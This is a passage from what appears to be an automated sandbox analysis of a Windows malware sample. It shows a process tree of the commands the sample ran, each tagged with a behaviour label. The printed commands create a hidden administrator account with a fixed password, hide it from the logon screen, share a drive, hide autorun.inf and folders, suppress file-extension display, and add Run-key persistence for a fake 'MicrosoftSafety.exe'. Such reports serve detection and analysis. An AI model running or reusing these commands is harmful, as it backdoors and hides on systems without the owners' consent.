    - System Location Discovery: System Language Discovery
    PID:1036
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:784
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c net share SYS_F$=F:\
    3⤵
    PID:4408
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1988
  - - C:\Windows\SysWOW64\net.exe
      net share SYS_F$=F:\
      4⤵
      PID:5364
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 share SYS_F$=F:\
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5464
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c attrib +s +H F:\C0MM
    3⤵
    PID:2304
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1580
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +H F:\C0MM
      4⤵
      Sets file to hidden
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:5392
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c attrib +s +H F:\C0MM\C0MM
    3⤵
    PID:2084
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3220
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +H F:\C0MM\C0MM
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:5296
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c attrib -r -a F:\autorun.inf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2568
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1760
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -r -a F:\autorun.inf
      4⤵
      Drops autorun.inf file
      Views/modifies file attributes
      PID:896
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c attrib +s +h +r F:\autorun.inf
    3⤵
    PID:2000
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3304
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +h +r F:\autorun.inf
      4⤵
      Sets file to hidden
      Drops autorun.inf file
      Views/modifies file attributes
      PID:5592
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c net users /add SYS_4321 passPass
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3112
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:976
  - - C:\Windows\SysWOW64\net.exe
      net users /add SYS_4321 passPass
      4⤵
      System Location Discovery: System Language Discovery
      PID:4536
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 users /add SYS_4321 passPass
        5⤵
        
        PID:2292
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c net users SYS_4321 passPass
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3016
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2816
  - - C:\Windows\SysWOW64\net.exe
      net users SYS_4321 passPass
      4⤵
      System Location Discovery: System Language Discovery
      PID:5440
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 users SYS_4321 passPass
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5656
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v SYS_4321 /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1220
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:372
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v SYS_4321 /t REG_DWORD /d 0 /f
      4⤵
      Hide Artifacts: Hidden Users
      System Location Discovery: System Language Discovery
      PID:4488
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c net localgroup administrators /add SYS_4321
    3⤵
    PID:3152
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1188
  - - C:\Windows\SysWOW64\net.exe
      net localgroup administrators /add SYS_4321
      4⤵
      PID:5276
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators /add SYS_4321
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5380
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CLASSES_ROOT\Network\SharingHandler" /v "" /t REG_SZ /d "" /f
    3⤵
    PID:1468
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1940
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CLASSES_ROOT\Network\SharingHandler" /v "" /t REG_SZ /d "" /f
      4⤵
      System Location Discovery: System Language Discovery
      Modifies registry class
      PID:5492
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    PID:2192
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1788
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      System Location Discovery: System Language Discovery
      PID:5524
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    PID:1872
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2004
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      PID:5336
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d " %homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4388
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4024
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d " C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:5512
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg DELETE "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\IniFileMapping\Autorun.inf" /f
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:592
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1472
  - - C:\Windows\SysWOW64\reg.exe
      reg DELETE "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\IniFileMapping\Autorun.inf" /f
      4⤵
      System Location Discovery: System Language Discovery
      System Network Configuration Discovery: Internet Connection Discovery
      PID:5240
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system" /v shutdownwithoutlogon /d 0 /t REG_DWORD /f
    3⤵
    PID:756
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3856
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system" /v shutdownwithoutlogon /d 0 /t REG_DWORD /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:5476
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5148
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      PID:5404
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3160
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      System Location Discovery: System Language Discovery
      PID:5400
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:5252
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:5336
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:912
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:5224
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    PID:2648
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      PID:5152
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2364
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      PID:5792
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5660
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:4604
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5760
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:3896
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5872
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      PID:4484
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    PID:5880
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      PID:1620
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:2632
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:2888
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:4144
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:3140
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    PID:6084
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      System Location Discovery: System Language Discovery
      PID:840
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:816
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      System Location Discovery: System Language Discovery
      PID:4872
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:4532
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:380
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:3764
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:2156
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    PID:860
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      PID:912
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    PID:3996
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      PID:1136
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5236
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:5288
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:4848
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:2788
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3532
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      System Location Discovery: System Language Discovery
      PID:5748
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    PID:5540
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      PID:5580
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5240
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:5752
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5392
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:2180
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5152
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      System Location Discovery: System Language Discovery
      PID:2108
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    PID:5792
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      PID:5760
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:5088
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:2008
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:5160
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:1360
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    PID:316
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      PID:2140
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5136
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      PID:1716
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:1052
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:1424
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:1936
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:2724
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4956
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      PID:2820
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    PID:4484
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      PID:6024
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4024
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:5896
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:2888
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:5904
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    PID:5964
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      PID:4196
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    PID:4436
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      PID:2056
- - C:\Windows\SysWOW64\cmd.exe
